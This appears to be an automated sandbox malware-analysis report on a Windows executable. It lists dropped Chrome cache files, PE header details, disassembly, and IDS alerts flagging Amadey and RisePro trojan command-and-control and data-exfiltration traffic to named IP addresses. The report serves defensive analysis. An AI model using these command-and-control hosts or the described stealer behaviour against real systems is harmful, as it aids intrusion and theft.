a{color:#4285f4}.UxubU,.UxubU a{color:#fff}.ZFr60d{position:absolute;top:0;right:0;bottom:0;left:0;background-color:tran

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (693)
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	5.381866681101836
Encrypted:	false
SSDEEP:	48:o7VSeBvFfGiW0rq8sdQfydNQ8jsN4FwCYYnyTM4WCOcUkp+4pP8mLjujrFQp4rw:oA4zWynYzdOqbnyT6COm+4V8zO8w
MD5:	18637A7357C35DBB1A9E667CFCF52ED0
SHA1:	0FD3CA9D31EA8BDBD658236A8D70421F7B22F30D
SHA-256:	25815BE99894ED26F3B92AE4A2C542F5AE523C44C7F83CCC90E63FCE939AC50A
SHA-512:	BDF27DB349AEBA777DEC00EC6F505A01A5926837D9DB95BC1D3A204DC53A0AA7760DAFB8834A025B5333468B635ED875CBFFC63F771AD3682108EB711C821073
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ZwDk9d");.var Pv=function(a){_.I.call(this,a.Ha)};_.A(Pv,_.I);Pv.Na=_.I.Na;Pv.Ba=_.I.Ba;Pv.prototype.gN=function(a){return _.ke(this,{Wa:{mO:_.wj}}).then(function(b){var c=window._wjdd,d=window._wjdc;return!c&&d?new _.rh(function(e){window._wjdc=function(f){d(f);e(wEa(f,b,a))}}):wEa(c,b,a)})};var wEa=function(a,b,c){return(a=a&&a[c])?a:b.Wa.mO.gN(c)};.Pv.prototype.aa=function(a,b){var c=_.Zsa(b).yi;if(c.startsWith("$")){var d=_.Ul.get(a);_.Np[b]&&(d\|\|(d={},_.Ul.set(a,d)),d[c]=_.Np[b],delete _.Np[b],_.Op--);if(d)if(a=d[c])b=_.je(a);else throw Error("Ob`"+b);else b=null}else b=null;return b};_.Eq(_.Oda,Pv);._.l();._.k("SNUn3");._.vEa=new _.xe(_.rf);._.l();._.k("RMhBfe");.var xEa=function(a,b){a=_.qra(a,b);return 0==a.length?null:a[0].ub},yEa=function(){return Object.values(_.Lo).reduce(function(a,b){return a+Object.keys(b).length},0)},zEa=function(){return Object.entries(_

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 52280, version 1.0
Category:	dropped
Size (bytes):	52280
Entropy (8bit):	7.995413196679271
Encrypted:	true
SSDEEP:	1536:1rvqtK8DZilXxwJ8mMwAZy7phqsFLdG3B4d:xytBZits8bw4wzbFxG3B4d
MD5:	F61F0D4D0F968D5BBA39A84C76277E1A
SHA1:	AA3693EA140ECA418B4B2A30F6A68F6F43B4BEB2
SHA-256:	57147F08949ABABE7DEEF611435AE418475A693E3823769A25C2A39B6EAD9CCC
SHA-512:	6C3BD90F709BCF9151C9ED9FFEA55C4F6883E7FDA2A4E26BF018C83FE1CFBE4F4AA0DB080D6D024070D53B2257472C399C8AC44EEFD38B9445640EFA85D5C487
Malicious:	false
Reputation:	unknown
Preview:	wOF2.......8.....................................^...$..4?HVAR..?MVAR9.`?STAT.',..J/.......`..(..Z.0..R.6.$.... .....K..[..q..c..T.....>.P.j.`.w..#...%......N.".....$..3.0.6......... .L.rX/r[j.y.\|(.4.%#.....2.v.m..-..%.....;-.Y.{..&..O=#l@...k..7g..ZI...#.Z./+T..r7...M..3).Z%.x....s..sL..[A!.51w'/.8V..2Z..%.X.h.o.).]..9..Q`.$.....7..kZ.~O........d..g.n.d.Rw+&....Cz..uy#..fz,(.J....v.%..`..9.....h...?O..:...c%.....6s....xl..#...5..._......1.>.)"U.4 W....?%......6//!$...!.n9C@n...........!""^.....W..Z<.7.x.."UT.T....E.."R>.R..t.....H d..e_.K../.+8.Q.P.ZQ....;...U....]......._.e......71.?.7.ORv.?...l...G\|.P...\|:...I.X..2.,.L........d.g.]}W#uW]QnuP-s.;.-Y.....].......C..j_.M0...y.......J..........NY..@A...,....-.F......'..w./j5g.vUS...U..0.&...y7.LP.....%.....Y......Y..D. e.A..G.?.$.......6...eaK.n5.m...N...,...+BCl..L> .E9~.b[.w.x....6<...}.e...%V....O.......*.?...a..#[eE.4..p..$...].....%......o._......N.._~..El....b..A.0.r8.....\|..D.d..

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (775)
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	5.2889010057791275
Encrypted:	false
SSDEEP:	24:kMYD70oobgQNcKYYGWn/HTwfUuH0NPIehiofo89Lay2CLtuNGbMfO+Gb6gf6LOZF:o70oo89eHuH6VeyGCZuNGbMG+GbXiP6L
MD5:	61F42AFCD27AEB89FE9899CA861505C6
SHA1:	D2F745B1479CBCA33BF3B94EAEF64BDF6E32D574
SHA-256:	62B5F644B254D8F4D1C41046105637B2F654CE646E07A0B70DBE13F626BAA303
SHA-512:	8B720EA1FB26B4E2A3BB9D161B8DEEA38EC1D9C421302C39B8145471287B0D4559C76DF0E19AE4CA51977B871580366DECF7452CFD25292F68746A39481C9559
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("bm51tf");.var rVa=!!(_.Qf[0]>>20&1);var tVa=function(a,b,c,d,e){this.fa=a;this.ta=b;this.ja=c;this.Ca=d;this.Ia=e;this.aa=0;this.da=sVa(this)},uVa=function(a){var b={};_.Ka(a.EN(),function(e){b[e]=!0});var c=a.pN(),d=a.vN();return new tVa(a.kK(),1E3c.aa(),a.XM(),1E3d.aa(),b)},sVa=function(a){return Math.random()Math.min(a.taMath.pow(a.ja,a.aa),a.Ca)},OD=function(a,b){return a.aa>=a.fa?!1:null!=b?!!a.Ia[b]:!0};var PD=function(a){_.I.call(this,a.Ha);this.Gc=null;this.fa=a.Fa.EQ;this.ja=a.Fa.metadata;a=a.Fa.D$;this.da=a.fa.bind(a)};_.A(PD,_.I);PD.Na=_.I.Na;PD.Ba=function(){return{Fa:{EQ:_.pVa,metadata:_.oVa,D$:_.iVa}}};PD.prototype.aa=function(a,b){if(1!=this.ja.getType(a.Ed()))return _.Xk(a);var c=this.fa.aa;return(c=c?uVa(c):null)&&OD(c)?_.Fta(a,vVa(this,a,b,c)):_.Xk(a)};.var vVa=function(a,b,c,d){return c.then(function(e){return e},function(e){if(rVa)if(e instanceof

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3178)
Category:	dropped
Size (bytes):	320991
Entropy (8bit):	5.55952542701645
Encrypted:	false
SSDEEP:	3072:uSa2hwG2WGmV9/XMwutlTzuY/JIGVkuc2qAD+j9bkV4rC7:tT+67unBNc27D+j9Nu
MD5:	E3BD4272D57A58D8C786A4505B7CD22C
SHA1:	6B9F824741B85F1E62F3F161CDC54FD94898FECC
SHA-256:	BA213DAB95C220206CAA657730F062F93092C1E195AF10DA242CB95F868387E7
SHA-512:	B0F718655628194CBD42DF5D697FAA104246CC86A8B4EFE62B310EF4DE162FEB1155ED68B7580711068CF421BB78AC6171126A705678CDC103431D0D0E73E8E9
Malicious:	false
Reputation:	unknown
Preview:	"use strict";_F_installCss(".EE6QGf{border-bottom-style:solid;border-bottom-width:1px;padding:16px;width:100%;z-index:6;background:white;background:var(--gm3-sys-color-background,white);border-color:#c4c7c5;border-color:var(--gm3-sys-color-outline-variant,#c4c7c5);display:block;position:relative}.EE6QGf~.S7xv8,.EE6QGf~.gfM9Zd{padding-top:inherit}@media (min-width:600px){.EE6QGf{align-items:center;display:flex;left:0;position:fixed;top:0}.EE6QGf~.S7xv8,.EE6QGf~.gfM9Zd{padding-top:150px}}@media (min-width:600px) and (orientation:landscape){.EE6QGf{display:block;position:relative}.EE6QGf~.S7xv8,.EE6QGf~.gfM9Zd{padding-top:inherit}}@media (min-width:960px) and (orientation:landscape){.EE6QGf{align-items:center;display:flex;left:0;position:fixed;top:0}.EE6QGf~.S7xv8,.EE6QGf~.gfM9Zd{padding-top:150px}}.PZB4Lc{display:flex;width:100%}.YLIzab{font-family:\"Google Sans\",roboto,\"Noto Sans Myanmar UI\",arial,sans-serif;font-size:1rem;font-weight:500;letter-spacing:0rem;line-height:1.5;margin-bo

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1299)
Category:	dropped
Size (bytes):	114271
Entropy (8bit):	5.5553458905033555
Encrypted:	false
SSDEEP:	1536:byWA1WOEJNjYEEU0AzsWZYDq7Z3pbwQ+Fk3OTzB+9gmSeA5K2qU0UG2uioteT9:blALEJbX7Zj8k3OTzB+ymSeilG2keB
MD5:	F313DC5B5708A43B9EEEF5C24F67A10F
SHA1:	8DB79236A8CAECDE461C55994FE11235D7194F47
SHA-256:	5E161ACD7EAF302818E14124B8AFD174B165238FFCB2F249B0ABF22CCBC2A6E6
SHA-512:	E8FDFD5225D7EAED1C1AB093237915448C3F7F9DAD4E96C213F608DC1699D285A0C46E522B65BF73629A6184FF6BC5C0B1BBAF3B2F1E78BED98E5B033D0E421D
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ltDFwf");.var zvb=_.y("ltDFwf");var cU=function(a){_.J.call(this,a.Ha);var b=this.oa();this.tb=this.Ra("P1ekSe");this.kb=this.Ra("cQwEuf");this.da=b.getData("progressvalue").number(0);this.ja=b.getData("buffervalue").number(1);this.Ca=b.zb("B6Vhqe");this.Ma=b.zb("juhVM");this.ta=b.zb("D6TUi");this.aa=b.zb("qdulke");this.La=0!==this.da;this.Ka=1!==this.ja;this.Ia=[];this.fa=_.Vr(this).Xb(function(){this.Ia.length&&(this.Ia.forEach(this.f9,this),this.Ia=[]);this.La&&(this.La=!1,this.tb.ob("transform","scaleX("+this.da+")"));this.Ka&&.(this.Ka=!1,this.kb.ob("transform","scaleX("+this.ja+")"));_.Tq(b,"B6Vhqe",this.Ca);_.Tq(b,"D6TUi",this.ta);_.Tq(b,"juhVM",this.Ma);_.Tq(b,"qdulke",this.aa)}).build();this.fa();_.xg&&_.Vr(this).Xb(function(){b.pb("ieri7c")}).Ce().build()();_.Hz(this.oa().el(),this.Sa.bind(this))};_.A(cU,_.J);cU.Ba=_.J.Ba;.cU.prototype.Sa=function(a,b){Avb(this

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.542000661265563
Encrypted:	false
SSDEEP:	3:yVkxzNDrMKcwVbF7KnZ:yVkxtkwVbF7KZ
MD5:	B3B89B9C275343BC6798E3A83564FDDB
SHA1:	32367475C527C3F5E5DB0BF42C348816FF4D157B
SHA-256:	900FB968F7FD9EA55F600AC9002A89E56AB56597DA7BDE04DEAAE6CC77AEB276
SHA-512:	ADB6938104E802B0936630B216CDE732F21ECA6E60E7A31D1B9C8FF52B5A66A712A7ECDE3F8ED4915D15C0A71C33A9788060E1E22999094C39020A1F8C636874
Malicious:	false
Reputation:	unknown
Preview:	CiUKDQ0ZARP6GgQIVhgCIAEKCw3oIX6GGgQISxgCCgcN05ioBxoA

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (467)
Category:	dropped
Size (bytes):	1884
Entropy (8bit):	5.292262488069745
Encrypted:	false
SSDEEP:	48:o7YQTzKjrL3AnFw4paFNW7xOkZfIt3UrkCq/srw:otoLcFx4kRIes4w
MD5:	2DB6AB32BE79D1F4C092D251080FD3FF
SHA1:	393B0124159B4B7269CABA1991D8BB0F24EBF073
SHA-256:	523799F3A4E2A3F4A453A43AC03CD6B01EFAC005DAB66CE87277B9CCEC7BB67F
SHA-512:	6D6DDA518FB82DE0D554B21810CC33A8C4708043377F4BA5C8AD1372DACAE52A02213C4A919EBF3AF27BEBFCE5432BAF0346A3E823A65AE442D1B9AF6D60BDFA
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("iAskyc");._.ZX=function(a){_.I.call(this,a.Ha);this.window=a.Fa.window.get();this.Bc=a.Fa.Bc};_.A(_.ZX,_.I);_.ZX.Na=_.I.Na;_.ZX.Ba=function(){return{Fa:{window:_.Hq,Bc:_.NB}}};_.ZX.prototype.Yn=function(){};_.ZX.prototype.addEncryptionRecoveryMethod=function(){};_.$X=function(a){return(null==a?void 0:a.lq)\|\|function(){}};_.aY=function(a){return(null==a?void 0:a.sca)\|\|function(){}};_.bY=function(a){return(null==a?void 0:a.Sn)\|\|function(){}};._.JBb=function(a){return new Map(Array.from(a,function(b){var c=_.n(b);b=c.next().value;c=c.next().value;return[b,c.map(function(d){return{epoch:d.epoch,key:new Uint8Array(d.key)}})]}))};_.KBb=function(a){setTimeout(function(){throw a;},0)};_.ZX.prototype.uJ=function(){return!0};_.Eq(_.Cl,_.ZX);._.l();._.k("ziXSP");.var AY=function(a){_.ZX.call(this,a.Ha)};_.A(AY,_.ZX);AY.Na=_.ZX.Na;AY.Ba=_.ZX.Ba;AY.prototype.Yn=function(a,b,c){var d;

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2362)
Category:	dropped
Size (bytes):	220329
Entropy (8bit):	5.4443770705809635
Encrypted:	false
SSDEEP:	3072:4btvBkNQB0w3NSOm3Rt9whvd6Ptfk/7aNyHD9KhLh:A0a0wNmBwK67cyj4hLh
MD5:	4441DDED9C24D3329776DD10688D12A8
SHA1:	07FF661EB06DDD8858DA4B7AEE259597346D4881
SHA-256:	58D7D9D54FF03332C13E22B4471FA7FD3834E070934CB969AE3DEBCB05DEF767
SHA-512:	B4F891DB471F20287A21E6482B4E3C7A9D41422DCBF5F2DC08482C61FEC6D565279CA8DA3F7ABD944B5AD226C957CB10F4395760071B3A5DD030F635F3FA5C79
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){("undefined"!==typeof globalThis?globalThis:"undefined"!==typeof self?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x3a22c03e, 0x800b1c4, 0x3e079c46, 0x10814500, 0x6, 0x0, 0x201ad000, 0x199, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT././*.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT.. Names of events that are special to jsaction. These are not all. event types that are legal to use in either HTML or the addEvent(). API, but these are the ones that are treated specially. All other. DOM events can be used in either addEvent() or in the value of the. jsaction attribute. Beware of browser specific events or events. that don't bubble though: If they are not mentioned he

unknown (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000187001\build12.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.559828656405516
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe
File size:	2'962'432 bytes
MD5:	f854143c49c4d2fa4cf73bab97ba8d3a
SHA1:	62454e89cf9b2558347e2179f49fb4a56f4762ec
SHA256:	8c8afd00e6087780e4ee0a36f170ba06f13ba6d0c46cd2119b876e88d40c24e3
SHA512:	c0454ed9124cd768b0e6c8090f5943f7828263b94d00138b8a208fd59e52c28329ea4cc466ee7830471d5f765ca5c9bfc1b48bdc7a5352bec0a3e2c882c7b519
SSDEEP:	49152:hz28Myn3uFDrmGjA1n1Nrd/O9LunYp6VyiW9k2MYD:p28pn3yD6F7rd/OrYyiT2M
TLSH:	85D529A2A50B76CBD88E17749567CE827A7D46FA472048C3986CF47A7DA3CC131B5C38
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x65E4126F [Sun Mar 3 06:02:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC73503469Ah
movlps xmm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a056	0x6a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30bda8	0x10	wvtamnbw
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30bd58	0x18	wvtamnbw
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2ea00	27f4d57c5ed4e794cf51622f55ec0a83	False	0.9975808478552279	data	7.974297481762842	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	2946bf3dc91fdc7e68a887c12c4c9994	False	0.57421875	data	4.4501572571729415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	17662c92043abde8b4b3074dcc401ca6	False	0.1484375	data	1.0249469107790772	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wvtamnbw	0x6b000	0x2a1000	0x2a1000	b01e7871d18fe1117f44ea4e5a2cd9a5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jjaorssu	0x30c000	0x1000	0x400	bc61cab188c73f6e815600682569c50f	False	0.833984375	data	6.4320942888563355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30d000	0x3000	0x2200	c1a4e0a38872d89768418c68b691c259	False	0.07915900735294118	DOS executable (COM)	0.7788648037350943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x30bdb8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/19/24-03:29:11.518092	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49719	80	192.168.2.5	193.233.132.56
04/19/24-03:29:07.505716	TCP	2855239	ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST)	49717	80	192.168.2.5	193.233.132.56
04/19/24-03:30:04.436794	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49869	193.233.132.167	192.168.2.5
04/19/24-03:29:25.875488	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49768	80	192.168.2.5	193.233.132.56
04/19/24-03:29:36.618824	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49774	58709	192.168.2.5	147.45.47.93
04/19/24-03:29:15.465561	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49721	80	192.168.2.5	193.233.132.56
04/19/24-03:30:04.208351	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49870	147.45.47.93	192.168.2.5
04/19/24-03:29:21.206725	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49741	80	192.168.2.5	193.233.132.56
04/19/24-03:29:31.281244	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49762	58709	192.168.2.5	147.45.47.93
04/19/24-03:29:36.518747	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49773	58709	192.168.2.5	147.45.47.93
04/19/24-03:30:06.348500	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49880	80	192.168.2.5	193.233.132.167
04/19/24-03:30:07.998984	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49886	80	192.168.2.5	193.233.132.167
04/19/24-03:29:23.961610	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49762	58709	192.168.2.5	147.45.47.93
04/19/24-03:30:16.706571	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49918	147.45.47.93	192.168.2.5
04/19/24-03:29:08.315222	TCP	2856151	ETPRO TROJAN Amadey CnC Activity M7	49718	80	192.168.2.5	193.233.132.56
04/19/24-03:29:47.530154	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49822	147.45.47.93	192.168.2.5
04/19/24-03:29:03.313673	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49713	80	192.168.2.5	193.233.132.56
04/19/24-03:30:09.223113	TCP	2855239	ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST)	49892	80	192.168.2.5	193.233.132.167
04/19/24-03:34:03.054930	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	50734	80	192.168.2.5	193.233.132.167
04/19/24-03:29:24.139646	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49762	147.45.47.93	192.168.2.5
04/19/24-03:30:08.961575	TCP	2856151	ETPRO TROJAN Amadey CnC Activity M7	49890	80	192.168.2.5	193.233.132.167
04/19/24-03:29:24.405929	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	58709	49762	147.45.47.93	192.168.2.5
04/19/24-03:29:03.820669	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49713	193.233.132.56	192.168.2.5
04/19/24-03:29:30.283553	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	58709	49773	147.45.47.93	192.168.2.5
04/19/24-03:29:40.962203	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49809	147.45.47.93	192.168.2.5
04/19/24-03:29:30.339002	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	58709	49774	147.45.47.93	192.168.2.5
04/19/24-03:29:30.018405	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49773	147.45.47.93	192.168.2.5
04/19/24-03:29:30.089886	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	58709	49774	147.45.47.93	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 03:27:53.872072935 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:27:53.874100924 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:27:53.997112989 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:03.481525898 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:03.481538057 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:03.606406927 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:05.018177986 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 19, 2024 03:28:05.018342972 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 19, 2024 03:28:14.002206087 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:14.002280951 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:14.002387047 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:14.004585981 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:14.004617929 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:14.420850992 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:14.420959949 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:14.424269915 CEST	49705	443	192.168.2.5	13.85.23.86
Apr 19, 2024 03:28:14.424319029 CEST	443	49705	13.85.23.86	192.168.2.5
Apr 19, 2024 03:28:14.424804926 CEST	443	49705	13.85.23.86	192.168.2.5
